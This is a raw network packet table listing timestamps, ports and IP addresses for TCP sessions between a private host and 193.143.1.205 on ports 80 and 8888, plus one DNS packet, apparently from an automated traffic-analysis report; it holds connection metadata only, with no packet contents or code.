Jan 10, 2025 19:49:43.794050932 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794060946 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.794087887 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794121027 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794130087 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.794153929 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794187069 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794198990 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.794219971 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794251919 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794258118 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.794286013 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794317961 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794334888 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.794352055 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794384003 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794398069 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.794416904 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794469118 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794480085 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.794503927 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794536114 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794550896 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.794569016 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794603109 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794621944 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.794637918 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794671059 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794678926 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.794711113 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794744968 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794754028 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.794780016 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794812918 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794827938 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.794846058 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794878960 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794892073 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.794912100 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794943094 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.794956923 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.794975996 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.795010090 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.795018911 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.795046091 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.795078993 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.795094013 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.795120001 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.795152903 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.795161009 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.795186996 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.795221090 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.795227051 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.800276995 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.800327063 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.800337076 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.800374985 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.800409079 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.800417900 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.800443888 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.800478935 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.800483942 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.800513029 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.800546885 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.800559044 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.800580978 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.800614119 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.800627947 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.800647020 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.800678968 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.800682068 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.800712109 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.800745010 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.800765038 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.800785065 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.800821066 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.800827026 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.823668003 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.823721886 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.823723078 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.823756933 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.823790073 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.823800087 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.823823929 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.823858023 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.823873997 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.823890924 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.823930979 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.826478004 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.831432104 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.831468105 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.831504107 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.831516027 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.835462093 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.840275049 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.840351105 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.860920906 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.860959053 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.860999107 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.861016989 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.861032009 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.861071110 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.861078024 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.861120939 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.861155033 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.861186028 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.861390114 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.861423969 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.861443043 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.861459017 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.861493111 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.861499071 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.861526012 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.861560106 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.861581087 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.861593962 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.861627102 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.861639977 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.861660004 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.861692905 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.861701965 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.861726999 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.861758947 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.861778975 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.861800909 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.861838102 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.884649992 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.884687901 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.884741068 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.884743929 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.884799004 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.884843111 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.884850979 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.884917974 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.884960890 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.884968042 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.884998083 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885040045 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.885050058 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885083914 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885113955 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885121107 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.885163069 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885196924 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885209084 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.885230064 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885263920 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885272980 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.885297060 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885343075 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.885405064 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885435104 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885467052 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885468006 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.885518074 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885550976 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885582924 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.885584116 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885617018 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885629892 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.885653973 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885704994 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885711908 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.885756016 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885798931 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.885806084 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885840893 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885873079 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885879993 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.885905981 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885948896 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.885955095 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.885988951 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886023998 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886034966 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.886058092 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886099100 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886110067 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.886147976 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886181116 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886194944 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.886214018 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886250973 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886260033 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.886301041 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886332989 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886343956 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.886367083 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886401892 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886409044 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.886454105 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886502981 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.886504889 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886538029 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886569977 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886579037 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.886603117 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886635065 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886645079 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.886667967 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886703014 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886714935 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.886737108 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886768103 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886792898 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.886801958 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886833906 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886843920 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.886868000 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886899948 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886907101 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.886933088 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886965990 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.886971951 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.886998892 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887032032 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887048006 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.887064934 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887096882 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887100935 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.887130022 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887162924 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887173891 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.887198925 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887231112 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887240887 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.887265921 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887300014 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887310028 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.887351036 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887383938 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887398958 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.887417078 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887434006 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887455940 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.887468100 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887501001 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887525082 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.887535095 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887567043 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887593985 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.887600899 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887633085 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887665987 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.887666941 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887700081 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887702942 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.887732983 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887763023 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887773991 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.887795925 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887830019 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887862921 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.887861967 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887900114 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887907028 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.887933016 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.887972116 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.916106939 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.916121006 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.916131973 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.916145086 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.916157961 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.916169882 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.916177988 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.916183949 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.916198015 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.916217089 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.916245937 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.945548058 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.945647001 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.945686102 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.945693970 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.945719957 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.945760965 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.945761919 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.945797920 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.945832014 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.945838928 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.945866108 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.945899963 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.945916891 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.945933104 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.945966005 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.945975065 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.945998907 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.946033001 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.946047068 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.946067095 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.946103096 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.946108103 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.946135044 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.946168900 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.946177006 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.946202040 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.946233988 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.946243048 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.946268082 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.946300030 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.946315050 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.977063894 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.977104902 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.977124929 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.977143049 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.977185965 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.977195978 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.977245092 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.977278948 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.977286100 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.977312088 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.977349997 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.977364063 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.977396965 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.977432966 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.977440119 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.977468967 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.977504969 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.977525949 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.977536917 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.977571011 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.977580070 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.977603912 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.977637053 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.977663994 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.977672100 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.977709055 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.977716923 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:44.024823904 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:44.180993080 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:44.461184025 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:44.899277925 CET	49744	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:44.904167891 CET	8888	49744	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:44.907633066 CET	49744	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:44.907843113 CET	49744	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:44.912612915 CET	8888	49744	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:45.722670078 CET	8888	49744	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:45.774831057 CET	49744	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:45.924839020 CET	49744	8888	192.168.2.10	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:49:53.128398895 CET	58952	53	192.168.2.10	1.1.1.1

DNS Queries

